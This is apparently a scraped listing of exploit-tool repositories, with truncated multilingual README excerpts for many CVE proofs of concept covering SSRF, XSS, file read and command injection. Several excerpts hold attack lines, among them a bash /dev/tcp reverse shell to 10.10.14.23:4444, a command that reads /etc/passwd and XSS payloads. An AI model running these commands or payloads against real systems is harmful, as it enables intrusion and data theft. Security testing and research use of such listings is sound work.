CVE-2025-55182-exploit

CVE-2025-55182-exploit TL;DR これは法的なペネトレーションテスト目的のみに使用してください。違法行為には関与しないでください。 使い方 python3 exploit.py デモ動画...

CVE-2024-27564

CVE-2024-275644 説明: pictureproxy.php の脆弱性により、リモートの攻撃者が url パラメータに URL を注入して任意のリクエストを実行できます。この SSRF 脆弱性は認証なしで悪用できるため、特に危険です。 脆弱なコードは pictureproxy.php ファイルにあります。この問題は、関数が url パラメータを適切に検証しないために発生します。$GET'url' 変数が filegetcontents 関数に渡され、指定された URL からコンテンツを取得します。これにより SSRF が発生する可能性があります。 PoC:...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. 脆弱性の概要 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486 は、Vite 開発サーバーにおける任意ファイル読み取りの脆弱性です。この脆弱性により、攻撃者は特定の URL パラメータを通じてアクセス制御を回避し、fs モジュールを介してサーバー上の機密ファイルを読み取ることができます。上記の 3 つの脆弱性は、原因が非常に似ているため、1 つのシリーズの脆弱性と見なすことができます。 CVE-2025-30208...

WordPress StageShow <5.0.9 - Open Redirect

WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshowredirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter. id: CVE-2015-5461 info: name:...

CVE-2023-51214

推奨説明 PHP v.1を使用したWebアプリケーションでのアクティビティログ実装におけるクロスサイトスクリプティングの脆弱性により、リモートの攻撃者が細工されたペイロードをURLに送信することで任意のコードを実行できる可能性があります。 脆弱性タイプ クロスサイトスクリプティング XSS 製品ベンダー sourcecodester.com 影響を受ける製品 PHPを使用したWebアプリでのアクティビティログ実装 - v1 影響を受けるコンポーネント URL 攻撃タイプ リモート 影響：コード実行 true 攻撃ベクター 詳細不要 参照...

CVE-2021-39165

CVE-2021-39165 CachetHQ의 CVE-2021-39165에 대한 Python3 POC 사용법 먼저, 의존성을 설치해야 합니다: root@kitploit: pip3 install -r requirements.txt 피해자 URL이 취약한지 확인하려면 다음을 실행할 수 있습니다: root@kitploit: python3 exploit.py -u -c MySQL 쿼리의 출력을 확인하려면 다음을 실행할 수 있습니다: root@kitploit: python3 exploit.py -u -q 참고 : 스크립트가 제대로 작동하...

CVE-2024-4577

CVE-2024-4577: PHP の CGI 設定における重大な脆弱性 PHP の CGI モードには深刻なセキュリティ上の欠陥が存在し、攻撃者が URL パラメータを操作することで任意のコマンドを実行できるようになります。 影響を受けるバージョン Windows 上で php-cgi を実行している PHP 7.4.29 未満および 8.0.19 未満のバージョン。 攻撃手法 攻撃者は、特別に細工したリクエストを PHP CGI...

compaXSS

CompaXSS 反射型クロスサイトスクリプティング XSS のバイパス ======= root@kitploit: Example: python compaxss.py --url https://support.snapchat.com/login?next=-run 開発者 Jose Pino - @jofpin Juan Eljach - @juaneljach...

CVE-2023-50596

CVE-2023-50596 제안된 설명 PHP 및 API v.1.00000를 사용하는 Simple Image Stack Website의 Cross Site Scripting 취약점으로 인해 원격 공격자가 URL에 조작된 페이로드를 통해 임의 코드를 실행할 수 있습니다. 추가 정보 URL 섹션에 페이로드를 붙여넣으세요 "onmouseenter=alert1// "onmouseenter=alertdocument.domain// 취약점 유형 Cross Site Scripting XSS 제품 공급업체 sourcecodester.com...

cve-2025-4664

CVE-2025-4664 此仓库包含用于利用 CVE-2025-4664 的 PoC。该漏洞可使基于 Chromium 的浏览器通过 Link 标头预加载请求泄露敏感的 URL 参数。 资源 有关此漏洞利用原理的详细说明，请阅读博客文章：https://amalmurali.me/posts/cve-2025-4664e。 观看以下视频以了解整个流程： 文件 target.py - 存在漏洞的 Web 应用程序 idp.py - SSO 身份提供程序 attacker.py - 记录已泄漏令牌的恶意服务器 templates/ - 演示所用的 HTML 模板 static/ -...

SSRF-Exploit-CVE-2024-27564

SSRF-Exploit-CVE-2024-27564 프로젝트 제목 이 프로젝트는 pictureproxy.php 파일에서 발생하는 서버사이드 요청 위조SSRF 취약점을 시연합니다. 설명 pictureproxy.php의 취약점으로 인해 원격 공격자가 url 매개변수에 URL을 주입하여 임의의 요청을 수행할 수 있습니다. 이 SSRF 취약점은 인증 없이도 악용될 수 있어 특히 위험합니다. 취약한 코드는 pictureproxy.php 파일에 있습니다. 문제는 함수가 url 매개변수를 적절히 검증하지 않기 때문에 발생합니다...

CVE-2024-50961

機密データの露出 CVE-2024-50961 説明 DonWeb Ferozo Hosting v1.1では、リモート攻撃者がURLパラメータを悪用して、データベース認証情報を含む機密データにアクセスできます。攻撃ベクトルには、ネットワークスニッフィング、サーバーログ、ブラウザ履歴が含まれ、組織に重大なセキュリティ侵害やデータ保護違反をもたらす可能性があります。HTTPSによる保護と安全なログ実践が不可欠です。 攻撃の複雑さ 低 必要な権限 なし 認証されていないリモート攻撃者がこの脆弱性を悪用できます。 ユーザー操作 不要 影響を受けるコンポーネント URLパラメータの処理 :...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

CVE-2022-22947

CVE-2022-22947 使い方: root@kitploit: python3 CVE-2022-22947.py url...

exploit-CVE-2016-8016-25

Linux版McAfee Virus Scanの複数のリモート脆弱性 本エクスプロイトおよびこのリポジトリ内の全コードは、MCAFEEのライセンス違反に関する問題を回避するために削除されました McAfee VirusScan Enterprise for Linuxは、McAfeeによるエンタープライズ向けアンチウイルスソリューションです。Linuxベースの独自のオンアクセススキャナが、システムに対する潜在的な攻撃を常時監視します。 脆弱性 VSEL 2.0.3（およびそれ以前）は、以下の公開済みセキュリティ脆弱性の影響を受けます。ENSL...

CVE-2022-22947

왕정 코드 기반에 두 가지 리버스 셸과 네트워크 탐지 기능을 추가했습니다. 실행 시 어떤 모듈이 부족하면 pip으로 해당 모듈을 다운로드하면 됩니다. 의심스러운 URL을 입력하세요. 포트 뒤에 '/'를 붙이지 마십시오. 1. 먼저 취약점 존재 여부 확인 기본적으로 실행되는 명령어는 whoami입니다. 많은 명령어 실행이 결과를 반환하지 않기 때문에, whoami가 성공적으로 반환되면 취약점이 존재하는 것입니다. 반환 내용에 root가 있으면 취약점이 존재함을 확인할 수 있습니다. 2. 리버스 셸 공인 IP와 포트를 입력하세요...

CVE-2025-32778

CVE-2025-32778 - Web-Check 명령 주입 익스플로잇 설명 CVE-2025-32778은 Lissy93의 Web-Check OSINT 도구에서 발견된 심각한 명령 주입 취약점입니다. 인증되지 않은 공격자가 스크린샷 API의 url 매개변수를 통해 임의의 시스템 명령을 실행할 수 있습니다. 이 Python 스크립트는 익스플로잇을 자동화하며 리버스 셸을 생성하거나 사용자 지정 셸 페이로드를 수용할 수 있습니다. 경고 소유하거나 테스트 권한이 있는 시스템에서만 테스트하세요. 무단 사용은 불법이며 윤리적이지 않습니다. ...

CVE-2019-8451

CVE-2019-8451 https://jira.atlassian.com/browse/JRASERVER-69793 root@kitploit: http://host:port/plugins/servlet/gadgets/makeRequest?url=http://:@'.formathost, port, target https://host:port/plugins/servlet/gadgets/makeRequest?url=https://:@'.formathost, port, target...

Jenkins-CVE-2024-23897-

사용 명령:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwdURLUniform Resource Locator을 2.txt에 작성하면 일괄 처리 가능...

CVE-2024-36527

CVE-2024-36527 PoCおよびバルクスキャナー 概要 CVE-2024-36527のPoC: puppeteer-renderer v.3.2.0以前はディレクトリトラバーサルの脆弱性があります。攻撃者はファイルプロトコルを使用してURLパラメータを悪用し、サーバーから機密情報を読み取ることができます。 セキュリティアドバイザリはZac Wang によって公開され、PoCはM Ali によって作成されました。 使用方法 単一ターゲットスキャン 単一のターゲットエンドポイントをスキャンするには: root@kitploit: python cve-2024-36527.py -...